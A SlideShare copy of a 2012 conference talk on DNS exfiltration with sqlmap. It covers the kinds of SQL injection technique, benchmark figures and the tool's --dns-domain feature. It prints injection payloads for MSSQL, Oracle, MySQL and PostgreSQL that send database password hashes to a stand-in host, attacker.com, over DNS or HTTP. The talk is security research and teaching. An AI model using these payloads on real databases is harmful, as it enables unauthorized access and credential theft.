SlideShare a Scribd company logo
DNS exfiltration using
      sqlmap

    Miroslav Štampar
      (dev@sqlmap.org)
What is SQL injection?



   “SQL injection is an attack in which malicious
 code is inserted into strings that are later passed
  to an instance of DBMS server for parsing and
                     execution”

                  (source: msdn.microsoft.com)




PHDays 2012, Moscow (Russia)                     May 31, 2012   2
What is SQL injection? (2)
 In plain speak, SQL injection is all about the
  unauthorized database access
 “Hello World” vulnerable code example
  (PHP/MySQL):
    $sql = "SELECT * FROM events WHERE id = " . 
$_GET["id"];
    $result = mysql_query($sql);
 Sample attack:
     http://www.target.com/vuln.php?id=1 AND
   (SELECT 5502 FROM(SELECT COUNT(*),CONCAT(0x3a,
   (SELECT password FROM mysql.user LIMIT 
   0,1),0x3a,FLOOR(RAND(0)*2))x FROM 
   INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
PHDays 2012, Moscow (Russia)           May 31, 2012   3
What is SQL injection? (3)

 Harder example (PHP/MySQL):
    error_reporting(0);
    set_magic_quotes_runtime(true);
    $sql=”INSERT INTO Users (FirstName, LastName, 
Age) VALUES 
('$_REQUEST[firstname]','$_REQUEST[lastname]',
$_REQUEST[age])”;
    @mysql_query($sql);




PHDays 2012, Moscow (Russia)         May 31, 2012   4
Technique classification
 Inband (web page as channel)
    Union
         Full
         Partial
    Error-based
 Inference (bit-by-bit)
    Boolean-based blind
    Time-based (and stacked queries)
 Out-of-band (alternative transport channels)
    HTTP
    DNS
PHDays 2012, Moscow (Russia)            May 31, 2012   5
Inband techniques
 Error-based – CONVERT(INT,(<subquery>)),
  fast, 1 (sub)query result per request, based on
  inclusion of subquery result(s) inside DBMS
  error message
 Union – UNION ALL SELECT NULL,..., 
  (<subquery>),NULL,NULL,..., fastest, in
  FULL variant whole table dump per request, in
  PARTIAL variant 1 query result per request




PHDays 2012, Moscow (Russia)          May 31, 2012   6
Inference techniques
 Boolean-based blind – AND 1=1, slow, 1 bit per
  request, page differentiation based, low
  difference ratio represents True response, False
  otherwise (in most common cases)
 Time-based – AND 1=IF(2>1, 
   BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,1
   12))),0), slowest, 1 bit per request, delay
   represents True response, False otherwise
 Stacked queries – ;INSERT INTO users VALUES 
  (10, 'test', 'testpass'), usually time-based
  data retrieval

PHDays 2012, Moscow (Russia)          May 31, 2012   7
Out-of-band (OOB) techniques
 HTTP – AND LENGTH(UTL_HTTP.REQUEST 
  ('http://www.attacker.com/log.php?q='||
  (SELECT password FROM SYS.USER$ WHERE 
  name='SYS')))>0, fast, 1 (sub)query result per
  request, capturing/logging HTTP requests at
  the other side
 DNS – AND LENGTH(UTL_INADDR. 
  GET_HOST_ADDRESS((SELECT password FROM 
  SYS.USER$ WHERE 
  name='SYS')||'.attacker.com'))>0,
  relatively fast, 1 part of (sub)query result per
  request, capturing/logging DNS requests at the
  other side
PHDays 2012, Moscow (Russia)          May 31, 2012   8
DNS protocol
 relatively simple protocol
 resolving domain names
 UDP datagrams (except zone transfers which
  use TCP)
 forwarding requests for arbitrary domain
  names
 ...even if access to public networks is not
  allowed :)




PHDays 2012, Moscow (Russia)        May 31, 2012   9
DNS protocol (2)
 Name resolving methods:
    Client lookup – checking local client's cache
     (same request already occurred)
    Iterative – checking DNS server's cache and
     configured zone records
    Recursive – if other methods fail, query is
     forwarded to others, sending back retrieved
     results to client




PHDays 2012, Moscow (Russia)              May 31, 2012   10
DNS protocol (3)




PHDays 2012, Moscow (Russia)   May 31, 2012   11
DNS exfiltration


     “Exfiltration [eks-fil-treyt, eks-fil-treyt]
          1. verb (used without object)
  to escape furtively from an area under enemy
                       control
            2. verb (used with object)
 to smuggle out of an area under enemy control”

                (source: dictionary.reference.com)



PHDays 2012, Moscow (Russia)                    May 31, 2012   12
DNS exfiltration (2)
 When fast inband techniques fail data is
  (usually) extracted in a bit-by-bit manner
 Most attackers will avoid exploitation of targets
  with time-based technique
 Non-query SQL statements like
  INSERT/UPDATE/DELETE are especially
  problematic
 Alternative methods are more than welcome
  (e.g. uploading of web shell scripts)
 OOB techniques are rarely used (till now)


PHDays 2012, Moscow (Russia)           May 31, 2012   13
DNS exfiltration (3)
 In some cases it's possible to incorporate SQL
  (sub)query results into DNS resolution requests
 Any function that accepts network address
  could be used
 Microsoft SQL Server, Oracle, MySQL and
  PostgreSQL
 Potentially dozens of resulting characters can
  be transferred per single request




PHDays 2012, Moscow (Russia)         May 31, 2012   14
DNS exfiltration (4)

 Microsoft SQL Server:
    DECLARE @host varchar(1024);
    SELECT @host=(SELECT TOP 1 
master.dbo.fn_varbintohexstr(password_hash) FROM 
sys.sql_logins WHERE name='sa')+'.attacker.com';
    EXEC('master..xp_dirtree "'+@host+'c$"');




PHDays 2012, Moscow (Russia)         May 31, 2012   15
DNS exfiltration (5)

 Oracle:
    SELECT DBMS_LDAP.INIT((SELECT password FROM 
SYS.USER$ WHERE name='SYS')||'.attacker.com',80) 
FROM DUAL;


 MySQL:
    SELECT LOAD_FILE(CONCAT('',(SELECT 
password FROM mysql.user WHERE user='root' LIMIT 
1),'.attacker.comfoobar'));




PHDays 2012, Moscow (Russia)         May 31, 2012   16
DNS exfiltration (6)

 PostgreSQL:
    DROP TABLE IF EXISTS table_output;
    CREATE TABLE table_output(content text);
    CREATE OR REPLACE FUNCTION temp_function()
    RETURNS VOID AS $$
    DECLARE exec_cmd TEXT;
    DECLARE query_result TEXT;
    BEGIN
        SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE 
usename='postgres');
        exec_cmd := E'COPY table_output(content) FROM E''||
query_result||E'.attacker.comfoobar.txt'';
        EXECUTE exec_cmd;
    END;
    $$ LANGUAGE plpgsql SECURITY DEFINER;
    SELECT temp_function();


PHDays 2012, Moscow (Russia)                               May 31, 2012   17
DNS exfiltration (7)




PHDays 2012, Moscow (Russia)   May 31, 2012   18
DNS exfiltration (8)




PHDays 2012, Moscow (Russia)   May 31, 2012   19
Integration into sqlmap
 New command line option: --dns-domain
    Turning on DNS exfiltration support
    Domain where should provoked DNS requests
     point to (e.g. --dns-domain=attacker.com)
 DNS exfiltration vectors sent through
  previously detected SQLi (e.g. time-based)
 Inband techniques have automatically higher
  priority
 Hence, usable only in inference-only cases



PHDays 2012, Moscow (Russia)         May 31, 2012   20
Integration into sqlmap (2)


 Domain name server entry (e.g.
  ns1.attacker.com) has to point to IP address of
  machine running sqlmap
    sqlmap being run as a fake DNS server
    Serving and logging all incoming DNS requests
    Dummy responses (e.g. 127.0.0.1) sent just to
     unblock web server instance




PHDays 2012, Moscow (Russia)            May 31, 2012   21
Integration into sqlmap (3)
 Each pushed result enclosed with unique prefix
  and suffix (e.g. Xzk. … .iUR.attacker.com)
    Cancelling caching mechanisms
    Easy to match SQLi requests with DNS results
 Complying with RFC 1034 (Domain Names –
  Concepts and Facilities)
    Hex encoding results to preserve non-word chars
    Splitting long items to parts of length 63
     (maximum length of one label name)
    Otherwise DNS resolution requests are
     immediately dropped as invalid (no resolution)

PHDays 2012, Moscow (Russia)            May 31, 2012   22
Experimental setup

1)Attacker (172.16.138.1)
    ➢
        physical machine – Ubuntu 12.04 LTS 64-bit OS
    ➢
        sqlmap v1.0-dev (r5100)
2)Web Server (172.16.138.129)
    ➢
        virtual machine – Windows XP 32-bit SP1 OS
    ➢
        XAMPP 1.7.3 with SQLi vulnerable MySQL/PHP
        web application
3)DNS Server (172.16.138.130)
    ➢
        virtual machine – CentOS 6.2 64-bit OS
    ➢
        BIND9 DNS daemon

PHDays 2012, Moscow (Russia)               May 31, 2012   23
Results
(--dump -T COLLATIONS -D information_schema)

         Method                 # of requests   Time (sec)

         Boolean-based blind    29,212          214.04

         Time-based (1 sec)     32,716          17,720.51

         Error-based            777             9.02

         Union (full/partial)   3/136           0.70/2.50

         DNS exfiltration       1,409           35.31


PHDays 2012, Moscow (Russia)                      May 31, 2012   24
Video presentation




PHDays 2012, Moscow (Russia)   May 31, 2012   25
Questions?




PHDays 2012, Moscow (Russia)   May 31, 2012   26

More Related Content

PDF
Advanced SQL injection to operating system full control (whitepaper)
PDF
sqlmap internals
PPTX
Waf bypassing Techniques
PDF
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
PDF
Ekoparty 2017 - The Bug Hunter's Methodology
PDF
Building Advanced XSS Vectors
PPTX
Sql injections - with example
PPTX
Wi-Fi Security Presentation.pptx
Advanced SQL injection to operating system full control (whitepaper)
sqlmap internals
Waf bypassing Techniques
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Ekoparty 2017 - The Bug Hunter's Methodology
Building Advanced XSS Vectors
Sql injections - with example
Wi-Fi Security Presentation.pptx

What's hot (20)

PDF
Insecure direct object reference (null delhi meet)
PPT
Sql injection
PDF
Sql injection with sqlmap
PPTX
Sql injection - security testing
PDF
Broken access control
PDF
OWASP Top 10 Web Application Vulnerabilities
PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
PPTX
Attacking thru HTTP Host header
PPT
Application Security
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
PPT
A Brief Introduction in SQL Injection
PDF
Exploiting Deserialization Vulnerabilities in Java
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
PPTX
OWASP AppSecCali 2015 - Marshalling Pickles
PPT
Web Application Security
PDF
Web Application Security and Awareness
PDF
Offzone | Another waf bypass
PPTX
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
PPTX
Reflective and Stored XSS- Cross Site Scripting
PDF
Got database access? Own the network!
Insecure direct object reference (null delhi meet)
Sql injection
Sql injection with sqlmap
Sql injection - security testing
Broken access control
OWASP Top 10 Web Application Vulnerabilities
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Attacking thru HTTP Host header
Application Security
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
A Brief Introduction in SQL Injection
Exploiting Deserialization Vulnerabilities in Java
Top 10 Web Security Vulnerabilities (OWASP Top 10)
OWASP AppSecCali 2015 - Marshalling Pickles
Web Application Security
Web Application Security and Awareness
Offzone | Another waf bypass
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
Reflective and Stored XSS- Cross Site Scripting
Got database access? Own the network!
Ad

Viewers also liked (20)

PDF
Data Retrieval over DNS in SQL Injection Attacks
PDF
It all starts with the ' (SQL injection from attacker's point of view)
PDF
sqlmap - why (not how) it works?
PDF
Expanding the control over the operating system from the database
PDF
sqlmap - Under the Hood
PDF
sqlmap - security development in Python
PDF
Heuristic methods used in sqlmap
PDF
Non-Esoteric XSS Tips & Tricks
PDF
Curious Case of SQLi
PDF
Riding the Overflow - Then and Now
PDF
2014 – Year of Broken Name Generator(s)
PDF
Hash DoS Attack
PDF
WordCamp SF 2011: Debugging in WordPress
PDF
Taking WordPress to the World : Options for a Multilingual Site | WordCamp Sa...
PDF
eMusic: WordPress in the Enterprise
PDF
Smashing the Buffer
DOCX
Index chrome
PDF
WordCamp San Francisco 2011: Transients, Caching, and the Complexities of Mul...
PDF
How Testing Changed My Life
PDF
E-commerce & WordPress: Navigating the Minefield
Data Retrieval over DNS in SQL Injection Attacks
It all starts with the ' (SQL injection from attacker's point of view)
sqlmap - why (not how) it works?
Expanding the control over the operating system from the database
sqlmap - Under the Hood
sqlmap - security development in Python
Heuristic methods used in sqlmap
Non-Esoteric XSS Tips & Tricks
Curious Case of SQLi
Riding the Overflow - Then and Now
2014 – Year of Broken Name Generator(s)
Hash DoS Attack
WordCamp SF 2011: Debugging in WordPress
Taking WordPress to the World : Options for a Multilingual Site | WordCamp Sa...
eMusic: WordPress in the Enterprise
Smashing the Buffer
Index chrome
WordCamp San Francisco 2011: Transients, Caching, and the Complexities of Mul...
How Testing Changed My Life
E-commerce & WordPress: Navigating the Minefield
Ad

Similar to DNS exfiltration using sqlmap (20)

PDF
Miroslav Stampar. Sqlmap — Under the Hood.
PDF
Ph days 2013-miroslav-stampar_-_sqlmap_under_the_hood
PDF
Ph days 2013-miroslav-stampar_-_sqlmap_under_the_hood
PPT
Network security
PPT
Network Security Attacks, and Solutions.
PPT
Network Security. Different aspects of Network Security.
PPTX
Black hat hackers
PDF
sqlmap internals
PPT
Network security
PPT
NetworkSecurity
PPTX
DNS Exfiltration and Out-of-bound attacks
PDF
Virtualisasi Hacking
PPTX
BSIDES-PR Keynote Hunting for Bad Guys
PPT
Hacking web applications
DOCX
Ceh certified ethical hacker
PPTX
Ethical hacking 101 - Singapore RSA 2019
PPTX
Network And Application Layer Attacks
PPT
ch20uejdudyujdhjeo8jshbrujsjuukpsnnue.ppt
PDF
DNS Data Exfiltration Detection
Miroslav Stampar. Sqlmap — Under the Hood.
Ph days 2013-miroslav-stampar_-_sqlmap_under_the_hood
Ph days 2013-miroslav-stampar_-_sqlmap_under_the_hood
Network security
Network Security Attacks, and Solutions.
Network Security. Different aspects of Network Security.
Black hat hackers
sqlmap internals
Network security
NetworkSecurity
DNS Exfiltration and Out-of-bound attacks
Virtualisasi Hacking
BSIDES-PR Keynote Hunting for Bad Guys
Hacking web applications
Ceh certified ethical hacker
Ethical hacking 101 - Singapore RSA 2019
Network And Application Layer Attacks
ch20uejdudyujdhjeo8jshbrujsjuukpsnnue.ppt
DNS Data Exfiltration Detection

More from Miroslav Stampar (9)

PDF
sqlmap - "One Tiny Step At a Time"
PDF
Blind WAF identification
PDF
Why everybody should do CTF / Wargames?
PDF
Improving Network Intrusion Detection with Traffic Denoise
PDF
APT Attacks on Critical Infrastructure
PDF
WARNING: Do Not Feed the Bears
PDF
Riding the Overflow - Then and Now
PDF
Spot the Web Vulnerability
PDF
Analysis of mass SQL injection attacks
sqlmap - "One Tiny Step At a Time"
Blind WAF identification
Why everybody should do CTF / Wargames?
Improving Network Intrusion Detection with Traffic Denoise
APT Attacks on Critical Infrastructure
WARNING: Do Not Feed the Bears
Riding the Overflow - Then and Now
Spot the Web Vulnerability
Analysis of mass SQL injection attacks

Recently uploaded (20)

PDF
KodekX | Application Modernization Development
PDF
AI And Its Effect On The Evolving IT Sector In Australia - Elevate
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
GDG Cloud Iasi [PUBLIC] Florian Blaga - Unveiling the Evolution of Cybersecur...
PDF
Advanced Soft Computing BINUS July 2025.pdf
PDF
Transforming Manufacturing operations through Intelligent Integrations
PDF
GamePlan Trading System Review: Professional Trader's Honest Take
PDF
DevOps & Developer Experience Summer BBQ
PDF
How Onsite IT Support Drives Business Efficiency, Security, and Growth.pdf
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PPTX
Cloud computing and distributed systems.
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PPTX
Comunidade Salesforce São Paulo - Desmistificando o Omnistudio (Vlocity)
PDF
Event Presentation Google Cloud Next Extended 2025
PDF
solutions_manual_-_materials___processing_in_manufacturing__demargo_.pdf
PDF
Electronic commerce courselecture one. Pdf
PDF
Modernizing your data center with Dell and AMD
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PPTX
CroxyProxy Instagram Access id login.pptx
KodekX | Application Modernization Development
AI And Its Effect On The Evolving IT Sector In Australia - Elevate
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
GDG Cloud Iasi [PUBLIC] Florian Blaga - Unveiling the Evolution of Cybersecur...
Advanced Soft Computing BINUS July 2025.pdf
Transforming Manufacturing operations through Intelligent Integrations
GamePlan Trading System Review: Professional Trader's Honest Take
DevOps & Developer Experience Summer BBQ
How Onsite IT Support Drives Business Efficiency, Security, and Growth.pdf
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Understanding_Digital_Forensics_Presentation.pptx
Cloud computing and distributed systems.
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
Comunidade Salesforce São Paulo - Desmistificando o Omnistudio (Vlocity)
Event Presentation Google Cloud Next Extended 2025
solutions_manual_-_materials___processing_in_manufacturing__demargo_.pdf
Electronic commerce courselecture one. Pdf
Modernizing your data center with Dell and AMD
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
CroxyProxy Instagram Access id login.pptx

DNS exfiltration using sqlmap

  • 1. DNS exfiltration using sqlmap Miroslav Štampar ([email protected])
  • 2. What is SQL injection? “SQL injection is an attack in which malicious code is inserted into strings that are later passed to an instance of DBMS server for parsing and execution” (source: msdn.microsoft.com) PHDays 2012, Moscow (Russia) May 31, 2012 2
  • 3. What is SQL injection? (2)  In plain speak, SQL injection is all about the unauthorized database access  “Hello World” vulnerable code example (PHP/MySQL):     $sql = "SELECT * FROM events WHERE id = " .  $_GET["id"];     $result = mysql_query($sql);  Sample attack:   http://www.target.com/vuln.php?id=1 AND (SELECT 5502 FROM(SELECT COUNT(*),CONCAT(0x3a, (SELECT password FROM mysql.user LIMIT  0,1),0x3a,FLOOR(RAND(0)*2))x FROM  INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) PHDays 2012, Moscow (Russia) May 31, 2012 3
  • 4. What is SQL injection? (3)  Harder example (PHP/MySQL):     error_reporting(0);     set_magic_quotes_runtime(true);     $sql=”INSERT INTO Users (FirstName, LastName,  Age) VALUES  ('$_REQUEST[firstname]','$_REQUEST[lastname]', $_REQUEST[age])”;     @mysql_query($sql); PHDays 2012, Moscow (Russia) May 31, 2012 4
  • 5. Technique classification  Inband (web page as channel) Union  Full  Partial Error-based  Inference (bit-by-bit) Boolean-based blind Time-based (and stacked queries)  Out-of-band (alternative transport channels) HTTP DNS PHDays 2012, Moscow (Russia) May 31, 2012 5
  • 6. Inband techniques  Error-based – CONVERT(INT,(<subquery>)), fast, 1 (sub)query result per request, based on inclusion of subquery result(s) inside DBMS error message  Union – UNION ALL SELECT NULL,...,  (<subquery>),NULL,NULL,..., fastest, in FULL variant whole table dump per request, in PARTIAL variant 1 query result per request PHDays 2012, Moscow (Russia) May 31, 2012 6
  • 7. Inference techniques  Boolean-based blind – AND 1=1, slow, 1 bit per request, page differentiation based, low difference ratio represents True response, False otherwise (in most common cases)  Time-based – AND 1=IF(2>1,  BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,1 12))),0), slowest, 1 bit per request, delay represents True response, False otherwise  Stacked queries – ;INSERT INTO users VALUES  (10, 'test', 'testpass'), usually time-based data retrieval PHDays 2012, Moscow (Russia) May 31, 2012 7
  • 8. Out-of-band (OOB) techniques  HTTP – AND LENGTH(UTL_HTTP.REQUEST  ('http://www.attacker.com/log.php?q='|| (SELECT password FROM SYS.USER$ WHERE  name='SYS')))>0, fast, 1 (sub)query result per request, capturing/logging HTTP requests at the other side  DNS – AND LENGTH(UTL_INADDR.  GET_HOST_ADDRESS((SELECT password FROM  SYS.USER$ WHERE  name='SYS')||'.attacker.com'))>0, relatively fast, 1 part of (sub)query result per request, capturing/logging DNS requests at the other side PHDays 2012, Moscow (Russia) May 31, 2012 8
  • 9. DNS protocol  relatively simple protocol  resolving domain names  UDP datagrams (except zone transfers which use TCP)  forwarding requests for arbitrary domain names  ...even if access to public networks is not allowed :) PHDays 2012, Moscow (Russia) May 31, 2012 9
  • 10. DNS protocol (2)  Name resolving methods: Client lookup – checking local client's cache (same request already occurred) Iterative – checking DNS server's cache and configured zone records Recursive – if other methods fail, query is forwarded to others, sending back retrieved results to client PHDays 2012, Moscow (Russia) May 31, 2012 10
  • 11. DNS protocol (3) PHDays 2012, Moscow (Russia) May 31, 2012 11
  • 12. DNS exfiltration “Exfiltration [eks-fil-treyt, eks-fil-treyt] 1. verb (used without object) to escape furtively from an area under enemy control 2. verb (used with object) to smuggle out of an area under enemy control” (source: dictionary.reference.com) PHDays 2012, Moscow (Russia) May 31, 2012 12
  • 13. DNS exfiltration (2)  When fast inband techniques fail data is (usually) extracted in a bit-by-bit manner  Most attackers will avoid exploitation of targets with time-based technique  Non-query SQL statements like INSERT/UPDATE/DELETE are especially problematic  Alternative methods are more than welcome (e.g. uploading of web shell scripts)  OOB techniques are rarely used (till now) PHDays 2012, Moscow (Russia) May 31, 2012 13
  • 14. DNS exfiltration (3)  In some cases it's possible to incorporate SQL (sub)query results into DNS resolution requests  Any function that accepts network address could be used  Microsoft SQL Server, Oracle, MySQL and PostgreSQL  Potentially dozens of resulting characters can be transferred per single request PHDays 2012, Moscow (Russia) May 31, 2012 14
  • 15. DNS exfiltration (4)  Microsoft SQL Server:     DECLARE @host varchar(1024);     SELECT @host=(SELECT TOP 1  master.dbo.fn_varbintohexstr(password_hash) FROM  sys.sql_logins WHERE name='sa')+'.attacker.com';     EXEC('master..xp_dirtree "'+@host+'c$"'); PHDays 2012, Moscow (Russia) May 31, 2012 15
  • 16. DNS exfiltration (5)  Oracle:     SELECT DBMS_LDAP.INIT((SELECT password FROM  SYS.USER$ WHERE name='SYS')||'.attacker.com',80)  FROM DUAL;  MySQL:     SELECT LOAD_FILE(CONCAT('',(SELECT  password FROM mysql.user WHERE user='root' LIMIT  1),'.attacker.comfoobar')); PHDays 2012, Moscow (Russia) May 31, 2012 16
  • 17. DNS exfiltration (6)  PostgreSQL:     DROP TABLE IF EXISTS table_output;     CREATE TABLE table_output(content text);     CREATE OR REPLACE FUNCTION temp_function()     RETURNS VOID AS $$     DECLARE exec_cmd TEXT;     DECLARE query_result TEXT;     BEGIN         SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE  usename='postgres');         exec_cmd := E'COPY table_output(content) FROM E''|| query_result||E'.attacker.comfoobar.txt'';         EXECUTE exec_cmd;     END;     $$ LANGUAGE plpgsql SECURITY DEFINER;     SELECT temp_function(); PHDays 2012, Moscow (Russia) May 31, 2012 17
  • 18. DNS exfiltration (7) PHDays 2012, Moscow (Russia) May 31, 2012 18
  • 19. DNS exfiltration (8) PHDays 2012, Moscow (Russia) May 31, 2012 19
  • 20. Integration into sqlmap  New command line option: --dns-domain Turning on DNS exfiltration support Domain where should provoked DNS requests point to (e.g. --dns-domain=attacker.com)  DNS exfiltration vectors sent through previously detected SQLi (e.g. time-based)  Inband techniques have automatically higher priority  Hence, usable only in inference-only cases PHDays 2012, Moscow (Russia) May 31, 2012 20
  • 21. Integration into sqlmap (2)  Domain name server entry (e.g. ns1.attacker.com) has to point to IP address of machine running sqlmap sqlmap being run as a fake DNS server Serving and logging all incoming DNS requests Dummy responses (e.g. 127.0.0.1) sent just to unblock web server instance PHDays 2012, Moscow (Russia) May 31, 2012 21
  • 22. Integration into sqlmap (3)  Each pushed result enclosed with unique prefix and suffix (e.g. Xzk. … .iUR.attacker.com) Cancelling caching mechanisms Easy to match SQLi requests with DNS results  Complying with RFC 1034 (Domain Names – Concepts and Facilities) Hex encoding results to preserve non-word chars Splitting long items to parts of length 63 (maximum length of one label name) Otherwise DNS resolution requests are immediately dropped as invalid (no resolution) PHDays 2012, Moscow (Russia) May 31, 2012 22
  • 23. Experimental setup 1)Attacker (172.16.138.1) ➢ physical machine – Ubuntu 12.04 LTS 64-bit OS ➢ sqlmap v1.0-dev (r5100) 2)Web Server (172.16.138.129) ➢ virtual machine – Windows XP 32-bit SP1 OS ➢ XAMPP 1.7.3 with SQLi vulnerable MySQL/PHP web application 3)DNS Server (172.16.138.130) ➢ virtual machine – CentOS 6.2 64-bit OS ➢ BIND9 DNS daemon PHDays 2012, Moscow (Russia) May 31, 2012 23
  • 24. Results (--dump -T COLLATIONS -D information_schema) Method # of requests Time (sec) Boolean-based blind 29,212 214.04 Time-based (1 sec) 32,716 17,720.51 Error-based 777 9.02 Union (full/partial) 3/136 0.70/2.50 DNS exfiltration 1,409 35.31 PHDays 2012, Moscow (Russia) May 31, 2012 24
  • 25. Video presentation PHDays 2012, Moscow (Russia) May 31, 2012 25
  • 26. Questions? PHDays 2012, Moscow (Russia) May 31, 2012 26